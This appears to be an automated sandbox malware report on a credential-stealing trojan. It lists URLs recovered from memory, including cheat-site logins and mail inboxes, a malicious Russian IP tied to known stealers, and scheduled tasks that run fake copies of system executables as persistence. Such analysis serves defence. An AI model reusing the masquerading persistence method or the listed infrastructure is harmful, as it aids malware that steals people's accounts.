https://wheel.readthedocs.io/en/stable/news.html	5GG.exe, 00000001.00000002.2884118725.00000145A1925000.00000004.00000020.00020000.00000000.sdmp	false		high
https://xone.fun/loginr	5GG.exe, 00000029.00000002.2889231296.000002ACF4561000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://packaging.python.org/en/latest/specifications/core-metadata/	5GG.exe, 00000029.00000002.2890674437.000002ACF4950000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/pypa/packaging	5GG.exe, 00000029.00000002.2890674437.000002ACF4950000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2891029241.000002ACF4D80000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2890492844.000002ACF4740000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.onetap.com/login/	5GG.exe, 00000029.00000002.2891029241.000002ACF4D80000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.privazer.com	5GG.exe, 00000001.00000003.1669056144.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	false		high
https://refspecs.linuxfoundation.org/elf/gabi4	5GG.exe, 00000029.00000002.2890674437.000002ACF4950000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2887798517.000002ACF4110000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963	5GG.exe, 00000029.00000002.2890762729.000002ACF4A50000.00000004.00001000.00020000.00000000.sdmp	false		high
https://lgtm.com/projects/g/samuelhwilliams/Eel/alerts/)	METADATA.1.dr	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/DPlease	TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/platformdirs/platformdirs	5GG.exe, 00000029.00000002.2887798517.000002ACF4110000.00000004.00001000.00020000.00000000.sdmp	false		high
http://curl.haxx.se/rfc/cookie_spec.html	5GG.exe, 00000029.00000002.2891334129.000002ACF50E8000.00000004.00001000.00020000.00000000.sdmp	false		high
http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode	5GG.exe, 00000029.00000002.2890849974.000002ACF4B50000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.zhongyicts.com.cn	TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	hyperServer.exe, 00000006.00000002.1817257879.00000000031B5000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2889594930.0000000003662000.00000004.00000800.00020000.00000000.sdmp	false		high
https://en.wikipedi	5GG.exe, 00000029.00000002.2893882659.000002ACF58F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/pypa/.github/blob/main/CODE_OF_CONDUCT.md	5GG.exe, 00000001.00000002.2884118725.00000145A1925000.00000004.00000020.00020000.00000000.sdmp	false		high
http://json.org	5GG.exe, 00000029.00000003.2449581744.000002ACF4341000.00000004.00000020.00020000.00000000.sdmp	false		high
https://spirthack.me/?redir=me%3F	5GG.exe, 00000029.00000002.2890940319.000002ACF4C50000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2889231296.000002ACF4561000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy	5GG.exe, 00000029.00000002.2891206687.000002ACF4FE4000.00000004.00001000.00020000.00000000.sdmp	false		high
https://exiv2.org/tags.html)	5GG.exe, 00000029.00000002.2893882659.000002ACF58F8000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2889790968.000002ACF4664000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packagesr#	5GG.exe, 00000029.00000003.2442183249.000002ACF3EF9000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2441847992.000002ACF3EF9000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2442317634.000002ACF3E99000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2442009842.000002ACF3E92000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/ChrisKnott/Eel/tree/master/examples/01%20-%20hello_world-Edge)	METADATA.1.dr	false		high
https://pypi.org/project/build/).	5GG.exe, 00000029.00000002.2890585916.000002ACF4850000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2890674437.000002ACF4950000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.python.org/dev/peps/pep-0427/	5GG.exe, 00000001.00000002.2884118725.00000145A1925000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	5GG.exe, 00000029.00000002.2886172976.000002ACF38A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://img.shields.io/lgtm/grade/python/g/samuelhwilliams/Eel.svg?logo=lgtm&style=for-the-badge)	METADATA.1.dr	false		high
http://localhost:8000/main.html.	METADATA.1.dr	false	Avira URL Cloud: safe	low
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	TextInputHost.exe, 00000024.00000002.2913564667.0000000013F05000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014105000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014988000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013732000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.000000001476A000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014670000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015F7C000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015C59000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000147BC000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015989000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014921000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015533000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000137CB000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000142C5000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000016014000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014565000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013E35000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013B48000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014B06000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014636000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000150F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://httpbin.org/	5GG.exe, 00000029.00000003.2449581744.000002ACF4341000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	5GG.exe, 00000001.00000003.1668796406.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1669056144.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	TextInputHost.exe, 00000024.00000002.2913564667.0000000013F05000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014105000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014988000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013732000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.000000001476A000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014670000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015F7C000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015C59000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000147BC000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015989000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014921000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015533000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000137CB000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000142C5000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000016014000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014565000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013E35000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013B48000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014B06000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014636000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000150F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://img.shields.io/pypi/pyversions/Eel?style=for-the-badge)	METADATA.1.dr	false		high
https://img.shields.io/lgtm/alerts/g/samuelhwilliams/Eel.svg?logo=lgtm&style=for-the-badge)	METADATA.1.dr	false		high
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	5GG.exe, 00000029.00000002.2889231296.000002ACF4571000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2889231296.000002ACF45FF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.carterandcone.coml	TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/pypa/setuptools/issues/417#issuecomment-392298401	5GG.exe, 00000029.00000002.2890492844.000002ACF4740000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.aurora-project.ru/loginr	5GG.exe, 00000029.00000002.2889231296.000002ACF4561000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packagesr#r$Nrlr	5GG.exe, 00000029.00000003.2442183249.000002ACF3EF9000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2441847992.000002ACF3EF9000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2442317634.000002ACF3E99000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2442009842.000002ACF3E92000.00000004.00000020.00020000.00000000.sdmp	false		high
http://tools.ietf.org/html/rfc6125#section-6.4.3	5GG.exe, 00000029.00000002.2891206687.000002ACF4FA0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.rfc-editor.org/rfc/rfc%d.txtz(http://www.python.org/dev/peps/pep-%04d/	server.cpython-310.pyc0.1.dr	false		high
http://crl4.dig	5GG.exe, 00000001.00000003.1691659663.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://google.com/mail	5GG.exe, 00000029.00000002.2887149226.000002ACF3DF0000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2889790968.000002ACF4664000.00000004.00000020.00020000.00000000.sdmp	false		high
https://askubuntu.com/questions/697397/python3-is-not-supporting-gtk-module	5GG.exe, 00000029.00000002.2889231296.000002ACF4571000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jaraco/jaraco.functools/issues/5	5GG.exe, 00000029.00000002.2887798517.000002ACF4110000.00000004.00001000.00020000.00000000.sdmp	false		high
https://e.mail.ru/inboxr	5GG.exe, 00000029.00000002.2889231296.000002ACF4561000.00000004.00000020.00020000.00000000.sdmp	false		high
https://midnight.im/login/	5GG.exe, 00000029.00000002.2891029241.000002ACF4D80000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mail.google.com/mail/u/0/#inboxr	5GG.exe, 00000029.00000002.2889231296.000002ACF4561000.00000004.00000020.00020000.00000000.sdmp	false		high
http://PyInstaller.readthedocs.io/en/stable/)	METADATA.1.dr	false		high
https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.	5GG.exe, 00000029.00000002.2887149226.000002ACF3DF0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mahler:8092/site-updates.py	5GG.exe, 00000029.00000002.2889790968.000002ACF4664000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://cacerts.digice	5GG.exe, 00000001.00000003.1672143332.00000145A1935000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cn/bThe	TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0	5GG.exe, 00000001.00000003.1663607693.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661591867.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661389955.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662464065.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661830558.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663105785.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1660864304.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662980404.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661135925.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661519849.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661001870.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663745033.00000145A1933000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662276814.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1668796406.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662913038.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663942819.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1664160389.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661267025.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1663227820.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1661752992.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000001.00000003.1662197660.00000145A1926000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anzeljg.github.io/rin2/book2/2405/docs/tkinter/fonts.html	5GG.exe, 00000029.00000002.2888255978.000002ACF43CB000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2887149226.000002ACF3DF0000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2449581744.000002ACF4341000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pyperclip.readthedocs.io/en/latest/index.html#not-implemented-error	5GG.exe, 00000029.00000002.2890940319.000002ACF4C50000.00000004.00001000.00020000.00000000.sdmp	false		high
https://dev.w3.org/html5/spec-LC/text-level-semantics.html#the-rt-element	5GG.exe, 00000029.00000002.2891334129.000002ACF50B0000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2891594278.000002ACF5330000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2920	5GG.exe, 00000029.00000002.2891029241.000002ACF4D80000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.linux-usb.org/usb.ids	7.exe.1.dr	false		high
http://www.typography.netD	TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tip.tcl.tk/48)	5GG.exe, 00000029.00000002.2888255978.000002ACF43CB000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2449581744.000002ACF4341000.00000004.00000020.00020000.00000000.sdmp	false		high
https://stackoverflow.com/questions/23836000/can-i-change-the-title-bar-in-tkinter/70724666#70724666	5GG.exe, 00000029.00000002.2891206687.000002ACF4FE4000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2887626985.000002ACF4010000.00000004.00001000.00020000.00000000.sdmp	false		high
http://bugs.python.org/issue10042	total_ordering.py.1.dr	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	5GG.exe, 00000001.00000003.1668411549.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	false		high
https://nixware.cc/login/	5GG.exe, 00000029.00000002.2891029241.000002ACF4D80000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/	5GG.exe, 00000029.00000002.2890940319.000002ACF4C50000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2447890634.000002ACF4566000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2889231296.000002ACF4561000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.python.org/library/itertools.html#recipes	5GG.exe, 00000029.00000002.2887798517.000002ACF4110000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.com	5GG.exe, 00000001.00000003.1669056144.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fonts.com	TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/parsing.html#parsing-with-a-known-character-encoding	5GG.exe, 00000029.00000002.2889790968.000002ACF46D7000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2889790968.000002ACF4664000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gist.github.com/lyssdod/f51579ae8d93c8657a5564aefc2ffbca	5GG.exe, 00000029.00000002.2890674437.000002ACF4950000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2887798517.000002ACF4110000.00000004.00001000.00020000.00000000.sdmp	false		high
https://img.shields.io/pypi/v/Eel?style=for-the-badge)	METADATA.1.dr	false		high
https://pypi.org/project/setuptools/	5GG.exe, 00000001.00000002.2884118725.00000145A1925000.00000004.00000020.00020000.00000000.sdmp	false		high
https://packaging.python.org/en/latest/specifications/declaring-project-metadata/	5GG.exe, 00000029.00000002.2888255978.000002ACF43CB000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2449581744.000002ACF4341000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/pypa/setuptools/issues/1024.	5GG.exe, 00000029.00000002.2890492844.000002ACF4740000.00000004.00001000.00020000.00000000.sdmp	false		high
http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/	5GG.exe, 00000029.00000002.2888255978.000002ACF43CB000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2887149226.000002ACF3DF0000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2449581744.000002ACF4341000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	TextInputHost.exe, 00000024.00000002.2913564667.0000000013F05000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014105000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014988000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013732000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.000000001476A000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014670000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015F7C000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015C59000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000147BC000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015989000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014921000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015533000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000137CB000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000142C5000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000016014000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014565000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013E35000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013B48000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014B06000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014636000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000150F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Connection	5GG.exe, 00000001.00000003.1694423097.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.python.org/	5GG.exe, 00000029.00000002.2889790968.000002ACF4664000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.python.org/dev/peps/pep-0205/	5GG.exe, 00000001.00000003.1664465329.00000145A1926000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2887798517.000002ACF4110000.00000004.00001000.00020000.00000000.sdmp	false		high
https://lgtm.com/projects/g/samuelhwilliams/Eel/context:javascript)	METADATA.1.dr	false	Avira URL Cloud: safe	unknown
https://twitter.com/	5GG.exe, 00000029.00000002.2888255978.000002ACF43CB000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2887149226.000002ACF3DF0000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2449581744.000002ACF4341000.00000004.00000020.00020000.00000000.sdmp	false		high
https://google.com/mail/	5GG.exe, 00000029.00000002.2889231296.000002ACF4571000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/python/importlib_metadata/issues/396	5GG.exe, 00000029.00000002.2890585916.000002ACF4850000.00000004.00001000.00020000.00000000.sdmp	false		high
http://google.com/mail/	5GG.exe, 00000029.00000002.2887149226.000002ACF3DF0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/ChrisKnott/Eel/tree/master/examples/07%20-%20CreateReactApp/eel_CRA.py)	METADATA.1.dr	false		high
https://www.openssl.org/H	5GG.exe, 00000001.00000003.1668549208.00000145A1928000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2904314332.00007FFDFAB4A000.00000002.00000001.01000000.00000023.sdmp, 5GG.exe, 00000029.00000002.2902176616.00007FFDF5597000.00000002.00000001.01000000.00000022.sdmp, libssl-1_1.dll.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
62.109.7.175	unknown	Russian Federation		29182	THEFIRST-ASRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1419054
Start date and time:	2024-04-02 23:41:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	45
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1tQ7HC6GOS.exe renamed because original name is a hash value
Original Sample Name:	77F8F69A2DFE223CCA4CF0E5FAD714FC.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@46/1323@0/1
EGA Information:	Successful, ratio: 62.5%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, StartMenuExperienceHost.exe, TextInputHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target cmd.exe, PID 8120 because it is empty
Execution Graph export aborted for target oZTcEkJaieSsRsrMRoYKmeAXH.exe, PID 8164 because it is empty
Execution Graph export aborted for target oZTcEkJaieSsRsrMRoYKmeAXH.exe, PID 8172 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
VT rate limit hit for: 1tQ7HC6GOS.exe

Simulations

Behavior and APIs

Time	Type	Description
22:42:14	Task Scheduler	Run new task: cmd path: "C:\Program Files\Windows Defender\Offline\cmd.exe"
22:42:14	Task Scheduler	Run new task: cmdc path: "C:\Program Files\Windows Defender\Offline\cmd.exe"
22:42:14	Task Scheduler	Run new task: oZTcEkJaieSsRsrMRoYKmeAXH path: "C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe"
22:42:14	Task Scheduler	Run new task: oZTcEkJaieSsRsrMRoYKmeAXHo path: "C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe"
22:42:15	Task Scheduler	Run new task: StartMenuExperienceHost path: "C:\Recovery\StartMenuExperienceHost.exe"
22:42:15	Task Scheduler	Run new task: StartMenuExperienceHostS path: "C:\Recovery\StartMenuExperienceHost.exe"
22:42:15	Task Scheduler	Run new task: TextInputHost path: "C:\Windows\apppatch\AppPatch64\TextInputHost.exe"
22:42:15	Task Scheduler	Run new task: TextInputHostT path: "C:\Windows\apppatch\AppPatch64\TextInputHost.exe"
23:42:25	API Interceptor	618418x Sleep call for process: TextInputHost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
62.109.7.175	kkNU9VcmMS.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse

Domains

